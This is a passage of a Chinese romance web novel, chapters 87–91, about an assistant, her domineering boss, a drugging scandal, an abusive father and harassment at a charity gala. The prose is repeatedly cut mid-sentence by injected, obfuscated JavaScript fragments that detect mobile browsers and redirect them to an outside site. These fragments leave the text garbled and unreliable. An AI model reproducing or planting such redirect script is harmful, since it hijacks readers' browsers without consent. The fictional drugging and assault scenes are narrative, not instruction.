王家的大儿子说,这里面的两个工作人员,都不是他们的人,也不是酒店的。 “我们跟陈家的确沾点亲戚,但我们全家眼里容不下沙子,必须给您和小爷一个交代。” 这下,陈知意给楼铮下药,就此坐实。 楼老太太觉得自己看错了人,脸色青白交加,好一阵子没有缓过来。 “陈家人怎么这么糊涂!”她喝了口茶,好一会儿才说。 楼铮眉目淡淡,似乎不觉得意外:“正常,海油隧道的项目被陈兴邦搞砸了,他怕我不娶陈知意。” 楼老太太沉吟半晌:“那这件事你怎么想?” 楼铮神色不动:“我听奶奶的。” 楼老太太扶着额头,又好半天没说话。 后来,楼铮借口公司有事要走,楼老太太才说:“你先冷陈家一阵子,我倒要看看,陈老太婆和陈兴邦有没有脸来见我!” 楼铮点点头去了。 沈韫浓没回家,从王家出来就,就直接去找了林贞。 林贞今天跟着林越去露营了,吃了一天的狗粮,无聊得到处翻八卦看,楼铮的事情虽说隐秘,但林贞路子野,居然真让她听到了风声,沈韫浓人还没出王家,她的微信就到了。 “听说今天楼铮被下那种药了?!姐妹你知道什么情况吗?” 沈韫浓到的时候,林贞正在沙发上葛优躺,她一进门,林越一个鲤鱼打挺坐起来: “先别说,你等等,我外卖点了海鲜和小啤酒,我们一边吃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739359|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边说!” 沈韫浓:“……” 服了这个家伙。 两人一起拆外卖盒子。 捞汁章鱼,炒蟹,香辣蟹,醉蟹,醉虾,生腌虾,麻辣小龙虾,皮皮虾,蛏子,花甲…… 看着满满的一大桌海鲜和两箱啤酒,沈韫浓惊了。 “姐……你这,痛风套餐?” 林贞比她大两岁,她们又是一个中学的校友,沈韫浓之前一直叫她学姐,后来简化成了“姐”,这几年才没大没小直呼其名。 林贞小手一挥:“管他呢!听八卦不吃点海鲜喝点小酒总觉得差点意思。 你不知道我今天怎么过的,我哥平时跟个人似的,一谈恋爱,简直像脑干缺失,拼了老命的在未来嫂子面前表现自己,我今天一个人当电灯泡无聊**!” 沈韫浓和林贞坐下吃饭,把发生的事说了。 林贞听得一愣一愣的。 她戴着一次性手套,剥了虾放进沈韫浓面前的碗里,感慨道:“要不人家能做楼氏继承人呢,这脑子还真不是一般人能比的。陈家父女看着挺聪明的,没想到,被楼铮一比,显得好蠢。” 沈韫浓享受着林贞的照顾,替她开了罐啤酒,放到面前。 “陈兴邦这一出我也是没想到,也不知道在急些什么。既然婚约是板上钉钉的事了,早两天晚两天也没什么区别吧。” 除非陈家跟她那时候一样,等着高嫁救命,但楼铮这边又一直不着急。 “不过,这件事也说明了一点,最起码楼铮没跟陈知意睡过。” 林贞接过沈韫浓递过来的啤酒罐子,喝了一口,快乐地打了个气嗝,“想到你用的不是陈知意二手,心情有没有好一点?” 一说到这个,沈韫浓更来气。 她原本跟楼铮八竿子打不着,还不是被他算计! 嘴里的生腌虾瞬间都不香了。 “我怀疑,那天我和楼铮……就是他做的局。要不然,不可能那么巧。”沈韫浓说。 听她讲完详细经过,林贞也有一样的想法:“我靠,绝对是他干的!狗男人太有心机了。他肯定是对你见色起意,才给你那样的暗示,什么献身救你,换个人你看他帮不帮!” 两人又骂了楼铮一通,不过说起这个,林贞倒是想起一件事来。 “对了,我再跟你说个事,之前我哥不是说看见陈知意和一个男的勾勾搭搭嘛,前几天我也看见了……” 第八十七章 求个真相 没想到这个八卦还有售后。 林贞:“前两天,我去泡温泉,一出门,正好看见陈知意和一个男人从隔壁酒店出来。你不知道,陈知意和那个男人都戴着口罩墨镜,捂得特别严实,一开始我也不太确定。但我是谁啊,我开车跟了她八条街,看她进了画室。” 沈韫浓哭笑不得:“……你有这样的毅力,做什么都能成功。当然,最适合你的,还是**。” 林贞:“NO!我拒绝,我要安心做个信托巨婴!” 林贞聪明也通透,但就是没有做事业的心。 她早在读书时就想好了,小时候啃老,长大了啃哥,等结婚了就啃丈夫,以后上了年纪,就啃儿孙。 用林贞的话说,她乖乖花信托基金,不突发奇想去创业,就是给家里省钱了。 沈韫浓倒不觉得她胸无大志,她要是有林贞这样好的家世,说不定比她更散漫,她只是没条件。 “所以我说,陈知意和楼铮,没准就是各玩各的!”林贞总结。 第二天,沈韫浓正常上班,临下班前,她敲开了总裁办公室的门。 昨天从王家出来后,她就有了一个心结,想找楼铮问清楚。 楼铮在打电话,用眼神示意她先坐,于是她坐在沙发上等。 这个电话打得够久,打完后,已经到了下班时间。 楼铮看表:“下班了。你找我有事的话,边吃边聊?” 他大概知道她要问什么,昨天回去时她就几次欲言又止。 “不了,就在这聊吧,我只是想问一句话。”沈韫浓说。 楼铮点点头,坐在了她旁边。 沈韫浓下意识错开一点距离,微微侧身,看着他的眼睛,生怕错过任何一点微表情。 她问:“楼铮,我给自己下药那次,你也是将计就计的,对不对?” 楼铮的眉心跳了跳。 他猜对了。 这个女人的脑子那样好用,举一反三到他身上,一点也不意外。 他紧绷着一根神经,面上却没什么多余表情,点点头:“是。” 原本也没想真的跟她发生什么,只想让她吃点苦头,以后放下不该有的心思。 可看到她一身绿色旗袍躺在床上的模样,他的本能占了上风。虽说也是她主动求他,可总不能要求一个中了药的人理智。 大概是没想到他承认得这样痛快,沈韫浓愣了一下。 她垂在身侧的一只手收紧,眼神里有什么东西在一点点破溃崩塌,之后换上了一片平静与寒凉。 “我知道了,谢谢楼总解惑。”沈韫浓起身。 就这样? 看她往外走,楼铮起身,迈开长腿追上去。 “你可以发脾气,也可以给我一个耳光,或者报警,把我抓起来。” 他替她出主意,人高马大地立在门口堵住她的去路。 沈韫浓抬头看他,牵起唇角,露出一个带了几分凉意的笑。 “这件事我有很大责任,是我自己贪心且不自量力,才遭了反噬。” 沈韫浓一字一顿,“但以后请楼总不要再说是我勾引你在先,这样的罪名我担不起。” 回旋镖扎在自己身上,又狠又疼。楼铮喉间有甜腥味。 “不是你勾引,是我见色起意,对你用强。”他主动承认,低头看她的眼睛,妄图找出一点薄凉之外的情绪。 她委屈或者愤怒都行,他可以哄。 可她没有情绪,这种看陌生人的态度,让楼铮心慌。 “沈韫浓,我说了,你发脾气打我都行。想要什么补偿,可以提。” 沈韫浓伸手拨开他:“不用了。” 她不会再提让楼铮放她走之类的话,一样是对牛弹琴。 跟他说不通的。 这次楼铮没用全力,沈韫浓很顺利地推开了他。 她开门出去,利落地走了。 而楼铮一个人在办公室坐到了深夜。 本以为通过陈知意下药这件事,他已经隐晦地对沈韫浓表了忠心,也因此看到了她对自己那点不一样的感情。 谁知,一夜回到解放前,他们的关系更僵了。 楼铮长这么大,除了被他爸魔鬼训练过,没有吃过别的苦头,如今才知道,他人生最难走的反而是情路。 他和沈韫浓天崩开局,想要修成正果,比想象中难得多。 沈韫浓走出楼氏大楼,上了一辆低调的黑色商务车,苏磊一早在车里等着了。 “走,带你去看看热闹。” 黑色商务一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她脱口而出:“沈英耀自己去不行吗?你跟去做什么?” 这一声嗓门很大,一旁的苏磊都被惊动,坐直身子,竖起了耳朵。 第八十八章 千禧年的头牌 在澳城的那段日子,是非常不堪的。 沈韫浓跟顾曦薇一路流浪到澳城后,生活也并没有马上变好。 顾曦薇先是在风月场陪了两个月的酒,之后,才因为姿色出众,被挖走去了娱乐城做荷官。 顾曦薇在夜场上班时,都是把沈韫浓往化妆间的角落里一丢。 之后在天亮时带着一身酒气和男人身上的臭味,带她回家。 到后来去了娱乐城,顾曦薇也因为长得漂亮引起了不小的轰动。 这么说吧,哪怕到现在,顾曦薇在澳城也颇有艳名。 她是千禧年代风月场上的头牌,到现在都还有不少人记得她。 但也没有人真正瞧得起她。 沈韫浓这辈子都不想回这个鬼地方,没想到顾曦薇竟然还要去。 顾曦薇被她嚷得也是一愣。 她嗫喏了一声:“宝宝,你爸爸那么厉害,遇到困难也是暂时的。只要妈妈陪他度过这一段,以后他一定会记住妈妈的好……” 沈韫浓不想听她说这些,冷冷打断:“我要是告诉你,他这辈子就这样了呢?他再也不会翻身了。” 顾曦薇:“不会的,妈妈不会看错人……” 沈韫浓:你连自己女儿都看不透! 这话她没说,而是强耐着性子劝了几句,母女两人话不投机,哪怕到最后挂了电话,顾曦薇也没说不去澳城的事。 沈韫浓觉得心累。 看她这个样子,苏磊也不敢多言,轻声问:“还看吗?不看我送你回去。” 沈韫浓摇了摇头:“回去吧。” 路上,她一直在沉默,车内的氛围安静到有些诡异。 一直快到小区门口,她才问苏磊:“有烟吗?” 苏磊单手握方向盘,另一只手从扶手箱里拿了包烟和打火机给她。 沈韫浓降下车窗,沉默地点燃。 外面的街道华灯初上,车内光线有些暗。 沈韫浓看着窗外海市繁华的夜景,静静地把一根烟吸完。 此时,车开到了小区门口。 沈韫浓转头看苏磊,声音有些沙哑:“我们真厉害啊。” 苏磊心中百感交集,竟然有些心疼她。 他说:“以后,哪怕不合作了,也还是朋友。你有用的着我的地方尽管提。” 其实他很想鼓励沈韫浓自己去做一番事业,这段时间打交道下来,他发现沈韫浓有勇有谋,是个能干大事的人。 可他不能说,毕竟楼铮的占有欲那样惊人,万一楼铮只想拿她当个金丝雀养,他却怂恿她去创业,到时候楼铮舍不得收拾金丝雀,还舍不得收拾他吗? “放心。”沈韫浓灭了烟开门下车,已经恢复了标志性笑容,“苏总,我们来日方长。” 苏磊略略放心,跟她告别离开。 沈韫浓本以为这件事暂时告一段落了,但没想到沈英耀会这么快来找她。 沈韫浓加完班回家,走在小区的石子路上,旁边阴暗角落里突然窜出的人影,吓了一跳。 她从没见过这样的沈英耀——眼底发青,脸上还带着胡茬,衣服也皱巴巴的,身上的怨气重得能养活一个邪剑仙。 一见沈韫浓,沈英耀不由分说一个耳光打了过来—— 在这之前沈英耀打她再重,也不会往脸上招呼,可见这次真是愤怒到了极点,也可见比起这张脸,沈英耀更看重的还是自己的钱和地位。 沈韫浓被打得耳鸣,整个脑袋都在嗡嗡作响。 “你是不是进过我书房?”沈英耀黑着脸问,打她的那只手还在抖。 沈韫浓眼神一暗,没想到他会这么快猜到。 应该是最近发生的事太蹊跷,让沈英耀警觉自己的恶意并购计划已经泄露,才遭了同行的算计。 “你书房不是有监控吗?自己不会查?”沈韫浓毫不心虚地怼回去。 “查过了,两个月前沈清妙进过我书房,在她出来后没多久,监控就被人动了手脚。”沈英耀说。 他脸上的表情实在精彩,沈韫浓恨自己的眼睛没有摄像功能,不能录下来时刻欣赏。 “那跟我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739361|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么关系?你不该找沈清妙么?”沈韫浓装出不解的样子。 “她没有那个脑子!是你骗她进去的!是不是你动过我的保险箱?” 沈英耀说着,情绪更加激动,伸手掐住了沈韫浓的脖子。“你前几天还跟苏磊一起吃饭,这次我出事,一定是你,你跟跟外人勾结来害我!” 他凶神恶煞,手上用了十足的力气。 听到他提苏磊,沈韫浓的心紧了一下。 一定是沈家倒台在即,她得意忘形,才放松了警惕,被有心人看到。 沈英耀掐的太紧,沈韫浓挣扎不开,脸憋得青紫,剧烈咳嗽起来。 但顾曦薇还在她手上,这事是不能承认的。 “我看不懂你在说什么!你有被害妄想症吧,沈英耀!有本事拿出证据来!”沈韫浓拼命挣扎,往下拉他的手。 在她快要窒息时,沈英耀才松开。之后,又扯着她的手臂。 “走,跟我走,我们一起去澳城!” 他这次的损失太大,已经好几天吃不下睡不着,想装风度都装不出来了。 他的车就停在附近,拖着沈韫浓的手臂往自己车上带。 “我不去,我又没做什么亏心事,不需要躲!” 沈韫浓拼命反抗。 “救命!这里有人贩子!”她大喊。 可惜太晚了,小区里没多少人,仅有几个遛弯的也怕惹麻烦不敢过来。 沈英耀有恃无恐。 “我说过,你这辈子都别想逃离我。我去哪里,你就去哪里!” 他用了十足的力气,拉得沈韫浓一个踉跄。 好在沈韫浓这段时间格斗不是白练得,她飞起一脚直直地对着沈英耀的小腹飞踢了过去。 沈英耀没躲开,疼得“哎哟”一声,脸色更难看了。 但沈韫浓学的时间太短,沈英耀又常年健身,没几下就直接将沈韫浓双手反剪在背后,准备押走她。 “回去再跟你算账!”他说。 “放开她!” 千钧一发之际,两个人影跑了过来。 第八十九章 沈助理,快救救阿铮 是两个人高马大的黑衣男人,在小路上并肩而站,直接拦住了沈英耀的去路。 他们一左一右,都穿着黑衣,持械,一看就来者不善。 沈英耀强撑:“我教育自己的女儿,用不着外人管!” 左边那人冷笑:“哪个当爸的教育女儿这么教育?” 右边那人直接问沈韫浓:“小姐,你认识他吗?” 沈韫浓果断:“不认识。” “你听到了没有?这位小姐说不认识你。”那两人挥着手里的**对着沈英耀的脸,“放开她。” 沈英耀也不想吃眼前亏,乖乖地松开了沈韫浓。 “你给我等着。”他扔下一句,就要走。 那两人根本没放过他的意思,其中一个追上去对着他的肩膀来了一棍,沈英耀直接倒地哀嚎了起来。 “你再敢过来找她,就不是一棍子这么简单,滚!” 沈英耀跑得连滚带爬,狼狈不堪。 沈韫浓松了口气,之后打量眼前的两人。 “谢谢。你们是楼铮的人吧?” 楼小爷交代过不让说,那两人对视一眼。 其中一个更机灵些,马上道:“谁啊,不认识,我们就是这个小区的普通住户,见不得那个老登欺负女人而已。” “啊对对对!”另一个连声附和。 既然两人都说不是,沈韫浓也不好直接找楼铮道谢,这件事就放下了。 她并没有因此放弃对的楼铮冷处理。 她表面上看跟以前看上去没什么不同。但在刻意跟他保持距离。 楼铮几次谈完公事后想聊点别的,沈韫浓都没给话口儿,直接躲了。 两人的氛围很不对。 这件事最愁的就是潘琳,她35岁才到的楼铮身边,那时候,楼铮才18岁,现也已经5年了,楼铮对她来说,是老板,但也像半个弟弟。 这5年里,她从来没看楼铮对哪个女孩子上过心,也从来没想到自己要有一天为楼铮的感情问题绞尽脑汁。 她早已过了荷尔蒙乱飞的年纪,可她的老板还年轻,吃一点爱情的苦就要给所有人脸色看,气氛压抑得吓人。 潘琳不知道两个犟种又是因为什么冷战,只能不断替两人创造独处的机会。 冥思苦想了几天,还真让她找到了一个。 这天晚上,楼铮出去跟朋友聚会,潘琳自作主张给他的司机放了假。 9点,她打沈韫浓电话。 “楼总司机今天请假了,韫浓,本来说好的我去接,可我现在发烧了,要去趟医院,你能不能帮我接一趟啊?” 潘琳表现得很急,沈韫浓不知道真假,可这种事不好拒绝,她也没准备拒绝。 反正沈家的雷已经爆了,她又开始明目张胆投简历。 辞职信也写好了,准备过几天就提交。 如果楼铮不放人,大不了去打官司,她就不信楼铮会为了私事让整个楼氏丢脸。 站好最后一班岗,如果楼铮敢对他怎么样,她就直接捅到陈知意那里。 地址在云顶酒店,楼氏的地盘。 沈韫浓打车到酒店的地下停车场,之后给楼铮打电话。 电话不是楼铮接的,听声音似曾相识,那人在电话里笑:“沈助理,阿铮现在走不了呢,你快来救救他!” 沈韫浓不明所以,按那人说的,上了顶层一个房间。 她把门敲开,才发现坐了一圈人,刚才接电话的居然是有过一面之缘的霍司岐。 桌上至少坐了10个人,楼铮在主位,两侧是霍司岐和周彦,其他人沈韫浓就不认识了。 沈韫浓站在门口,神情客气:“楼总,潘助理说要去趟医院,我给您代驾。” 她刚从被窝里爬出来,素颜,穿得也相对休闲,不知怎么,往门口一站,像一缕清风,让整个房间的浊气都散了不少。 楼铮心脏狂跳,表面不动声色。 “你先坐。”他让人给她加了座,又要添菜。 “不用了楼总,我吃过饭来的。”她客气拒绝,挂着商务笑容。 霍司岐道:“你来得正好,阿铮国王游戏输了。要么找个异性喝交杯酒,要么自己喝光面前的这一瓶威士忌。沈助理,你快救救他!” 沈韫浓往桌上看,连副扑克牌的影子都没看到,见鬼的国王游戏。 而且现场有好几位女士,又不是就她一个异性。 沈韫浓脸上带笑:“不好意思,我是代驾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739362|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个忙帮不了。” “没关系,我司机在。一会儿让他把你们两个送回去就好。”周彦附和。 沈韫浓看向楼铮,楼铮抿唇,脸上是她看不懂的神色。 “抱歉,我只是楼总下属,这不是我的本职工作。”她的笑容像是焊在脸上,拒绝得却不含糊。 “你可想好了,阿铮胃不好,这一瓶威士忌下去,可是要犯胃病的。”霍司岐说。 道德**是吧? 沈韫浓在心里冷笑一声,面上不为所动:“实在抱歉。” 嘴上说抱歉,神色里却没有一点抱歉的意思。 霍司岐“啧”了一声:“沈助理好狠的心,你这样,我们阿铮都要碎了。” 楼铮瞪他一眼:“少废话,我都选了喝光。” 霍司岐撇嘴,觉得这家伙不识好人心。 “那你喝吧。” 楼铮利落地拧开瓶盖,喝啤酒一样地把一瓶威士忌灌了下去。 之后,他站起身看着沈韫浓,递上了自己的车钥匙:“走吧。” 一直到楼铮出去,周彦才看向霍司岐,有点不放心:“今天玩得有点大吧?阿铮喝太多了。” 霍司岐:“再不给他帮点儿忙,我们至少还要看他半个月脸色。” 周彦:“……” 沈韫浓和楼铮一路沉默不语,到了停车场。 今天楼铮没开超跑,开了一辆4座的迈巴赫。 沈韫浓准备替他拉开后座车门,他却自顾自坐上了副驾。 “您坐后排吧,还舒服些。”沈韫浓提醒。 楼铮蹙眉:“沈韫浓,现在跟我坐在一起都让你不舒服了是吗?” 他喝了酒,情绪就有点不受控,说话像吃了枪药。 沈韫浓吸了口气,没再理他。 路上,两人谁也没说话。 楼铮的酒意一点点上来,慢慢垂下了头。 她将车一路开到梧桐街,楼铮的别墅里。 车停在洋楼门口,沈韫浓叫他。 “楼总,到了。” 楼铮不动。 她只好伸手推了一下,之后,被楼铮攥住了手。 “沈韫浓,你怎么才能不生气?”楼铮睁开一双迷蒙的醉眼看她,眼神带了几分祈求。 第九十章 你真难哄 沈韫浓的心揪了一下。 “我没有生气。”她试图把手抽出来,奈何楼铮的手握得太紧,试了几次,失败了。 “撒谎精,小骗子。” 幽暗的车内,楼铮的眼神似乎要将她拆吃入腹,声音却宠的要命。 一个站在权力顶峰的男人,长得这样好,用这样的语气说话,真的很容易让人沦陷。 沈韫浓却既冷静又沉稳。 “楼总,那件事我也有责任,过去就过去了。”她说,用另一只手替楼铮解开安全带。 “你喜欢什么?我送你一台跑车好不好?” 他从来没有哄过女人,除了钱。也实在不知道该拿点什么讨她欢心。 沈韫浓摇头:“不用。” 她想说,这几天会交一个离职申请,您给我批了就行。 可跟一个醉鬼说这话,惹恼了他更麻烦,她还是先脱身为好。 “沈韫浓。” 楼铮解开安全带的束缚,身子无限往她这边倾斜,他凑近她,呼吸间的酒精气息钻入她的鼻腔。 不难闻,很特别。 “沈韫浓,你真的很难哄。” 楼铮挫败地说,脸上都是委屈的神色。 沈韫浓:“……” 在楼铮快要吻过来时,她看到了一个身影。 “陈小姐!”沈韫浓喊了一声。 陈知意来找楼铮,一早就到了,看见车开进来,结果等了好久一直没动静,才出来迎接。 陈知意越走越近,已经拉开了副驾的车门。 而楼铮在门开的一瞬间放开对沈韫浓的钳制,不满地瞪她一眼。 “陈小姐,楼总喝多了,您把他扶进去吧。”沈韫浓说,“我把车送到车库去。” 陈知意一见开车的是沈韫浓,脸色就有点不好看,可她很快换上了笑脸。 “麻烦你了沈助理,这么晚送阿铮回家。” 这话说的,好像她是这个家的女主人。 沈韫浓点头,也面带微笑:“这是我的工作,不必客气。” 陈知意伸手要扶,楼铮本来想躲的,但看了沈韫浓一眼后,竟然直接任凭陈知意扶住了他的手臂。 看着两人进去的身影,沈韫浓莫名松了一口气。 陈知意一定是求和来的,出了上次的“下药事件”后,楼铮嘴上说着不追究,转头就把这件事放了出去。 外面已经有了不少风言风语。而且陈家被楼家卡了不少项目,业务受了挺大影响。 懒得管两人的纠葛,沈韫浓把车开进地库,之后把钥匙交给管家,径直离开了。 别墅一层客厅里,陈知意把楼铮安顿好,又在给他按头:“那个人我审过了,最终也没问出什么来,你要不要亲自审一下?” 她这几天实在不安,还是想来探探楼铮的口风。 恰好,楼铮喝醉了,都说酒后吐真言,也许是个机会。 “不用,既然目标是你,你处理就行了。”楼铮淡声说。 陈知意试探:“但现在已经开始有流言蜚语,觉得药是我下的。” 楼铮掀起眼皮看她:“那你心虚吗?” 陈知意迅速答:“不是我做的,我心虚什么?” 楼铮:“那不就行了。反正婚约也是假的,等到时候都知道咱们没有在一起,这些流言蜚语也就不攻自破了。” 陈知意咬唇。 每次两家撮合她和楼铮,楼铮从来没有主动反驳过,她一直以为楼铮是不排斥跟她结婚的。 整个海市,除了她,也没有人配得上楼铮。 可现在楼铮对这门婚事的抵触越来越明显,她也开始越来越慌。 陈知意张了张嘴,还想说什么,最终也没有开口。 而楼铮,已经把身子歪在沙发上睡着了。 陈知意停下手中的动作,蹲下身来看他。 喝醉的男人全无把控力,如果…… 她的手伸向他的衬衫。 也就那么一瞬间,陈知意又陡然清醒。 她在干什么?越这样,楼铮只会越瞧不上她! 陈知意最终把楼铮交给管家,自己离开了。 但不管怎么样,这个楼太太,她当定了!她要铲除一切不可能因素,嫁给他。 回去后,陈知意在画室里坐了五个小时,毁了两幅画,最终像是说服了自己一般,深吸了一口气,手机翻出一个号码,拨了过去。 潘琳创造的机会似乎并没有什么用,沈韫浓和楼铮的关系不见缓和,反而更僵了。 隔天她就在系统里看到了沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739363|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫浓的辞职信,一时间头都大了。 潘琳是沈韫浓的直属领导,在流程里,她得第一个签字,先找借口压了几天。 这几天沈韫浓也没闲着,新工作没找到,她就开始接线下翻译的工作了。 林贞介绍了个活儿给她。 客户是林贞的一个富二代朋友郭睿,中法混血,在法国长大,中文说的很差。 郭家今年要在海市拓展业务,他第一次参加海市这边的慈善募捐晚宴,怕闹笑话,请了沈韫浓的给他做翻译兼女伴。 为了给客户留个好印象,以后长期合作,沈韫浓盘了发髻,穿了中规中矩的传统旗袍,打扮得非常符合老外对东方美女的传统印象。 谁知,一见面才发现郭睿金发碧眼,从长相到穿着,都像时尚杂志上走出来的人。 两个人站在一起,颇有几分中西方文化交流碰撞的意思,不由地都笑了。 郭睿激动夸她:“林贞只说她的朋友法语专八水平,没说是个美女!” 沈韫浓也不谦虚:“说明在能力面前,我的颜值不值一提。” 这两句开场白打破了尴尬的氛围,让两人迅速熟络起来。 他们两个站在一起,都是高颜值,活动还没开始,就吸引了不少人的注意。 不过沈韫浓怎么也没想到会在这里遇到楼铮。 她来之前特地看过楼铮的工作安排,他今晚应该是要去参加一个拍卖会的。 她的神经紧绷了一瞬,迅速低头提醒郭睿:“你的3点钟方向是我老板,记得对外不要说我是翻译,就说是朋友。” 郭睿瞪大眼睛:“你老板是楼铮?” “你认识他?” “想在这里做生意的,谁不认识他?” ……好吧。 说这话的时候,沈韫浓往楼铮的方向看了一眼,而他也恰好注意到了她。 四目相对,楼铮的眼神有一瞬间的纠缠,他有话要说。 沈韫浓也觉得自己该打个招呼,毕竟在这样的场合,对方又是自己的老板。可这时,正好有人过来围住楼铮说话,她便别开了眼去。 活动进行到中场,沈韫浓去了趟洗手间。 出来时,一个公子哥过来,把她堵在了走廊里。、 第九十一章 要以身相许 那人靠着墙吸烟,似乎就是在等他。 “沈小姐,没想到在这儿能碰见,真巧。” 他歪着头,努力做出一副风流倜傥的样子。 沈韫浓被他的装相给油到了。 “是啊,真巧。”她面色如常道,努力在记忆里搜索这个人是谁。 显然来人也发现了她根本不认识自己,自我介绍道:“我叫许庭宵,你不认识我,但应该认识我堂妹许春安。” 原来是许春安的堂哥,当时灌楼凤栖喝酒的人里有他,难怪看着眼熟。 沈韫浓心里警铃大作,面上却不动声色:“有事吗许少?” 许春安那个孩子不知道有没有保住,这件事让许家丢尽了脸面,自从楼凤栖出国之后,也不知道许家是怎么安排她的,反正沈韫浓是再没听说过她的消息了。 许庭宵不是来兴师问罪的。 他也看出了沈韫浓隐隐的不安,不由笑了:“别紧张嘛,你跟我堂妹的恩怨我管不着,也不掺合,今天就是跟你交个朋友。” 随即,他又掏出手机,“加个微信吧,沈小姐。” 加个微信也没什么,大不了回头拉黑。 沈韫浓不想在这种时候起冲突,便掏出手机扫了码。 加完后,她要走,许庭宵却直接挡在了她面前。 “微信都加了,活动结束后一起吃个宵夜啊,‘深入’交流交流。” 后半句咬得很重,明显不安好心,一双色眯眯的眼睛更是盯着沈韫浓不放。 谁想跟你深入交流,**。 沈韫浓心里骂街,面上微笑拒绝:“抱歉啊,许少,今天实在不方便。改天吧。” “改天是什么时候,明天吗?明天也行,我去找你。”他伸手轻佻地去抬沈韫浓下巴。 沈韫浓往后一躲。 “躲什么,沈小姐。” 沈韫浓越躲,许庭宵越来劲,他又往前凑,“楼凤栖也不在海市了,你很寂寞吧?跟我说说,你们睡过没有?花样多不多?” 我寂寞你奶奶个腿儿。 如果不是自己现在还有工作在身,沈韫浓一定会一拳过去,再次检验一下自己的格斗术成果。 可现在她是郭睿的女伴,不能给郭睿找麻烦。 沈韫浓脸色更冷:“许少,请自重,你再这样我就喊人了。” “你喊啊,今天的宴会主办方是许家,这儿就是我的地盘,我倒要看看谁敢帮你。” 许庭宵越发肆无忌惮,开始对沈韫浓动手动脚。 突然,他被人猛地一扯,往后一个踉跄。 “你干什么!” 是郭睿如同神兵天降,挡在了沈韫浓面前。 郭睿个子高,压迫感也足,虽然中文不好,但不打紧。 他居高临下地盯着许庭宵,语气很差:“她是我带来的,别欺负她,要打架找我!” 这场募捐,郭睿捐了不少,想必许庭宵也看到了名单,他倒是不敢跟郭睿硬刚,只是不紧不慢:“郭少,我在追求她,她又不是你女朋友,总不能追求都不让追吧?” 这话,郭睿听懂了。 “她就是我女朋友。”他说。 沈韫浓:“……” 倒也不必这么说。 可郭睿在给她撑场子,她总不能先驳他面子,她没反驳,只扯了下郭睿的手臂说:“我们走吧。” 许庭宵不放,依然笑得死皮赖脸:“那你们当着我面亲一下,我就信了。” 有事没事就来个亲吻礼的法国人怕这个? 郭睿一听,扳过沈韫浓的头,就要亲。 他无所谓,沈韫浓可不想亲,她僵着脖子拼命往后躲。 谁来救救她啊。 这时一个声音道:“都干什么呢,两个大男人欺负一个小姑娘?” 郭睿放手,三人同时看过去,是一身白衣的贺韶瑭来了。 这场募捐晚宴规模不是很大,谁也没想到楼铮和贺韶瑭这两尊佛都请得动。 沈韫浓满脑子都是林黛玉那句“早知他来,我就不来了”,早知道会这么麻烦,她这5000块不挣也罢。 贺韶瑭走过来,淡淡地扫了一眼许庭宵:“沈韫浓是我罩着的,你找她交流什么,跟我说。” 又看一眼郭睿:“别假装护花使者占人家便宜。” 郭睿一脸委屈,他真不是这个意思,他的性取向都不是她。 许庭宵一见贺韶瑭,瞬间低了三分,他陪着笑脸,竟然说不出一句囫囵话来。 “您看这事闹得……哎,我欠打!”他假模假式地打了下自己的嘴巴。 “滚吧。”贺韶瑭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 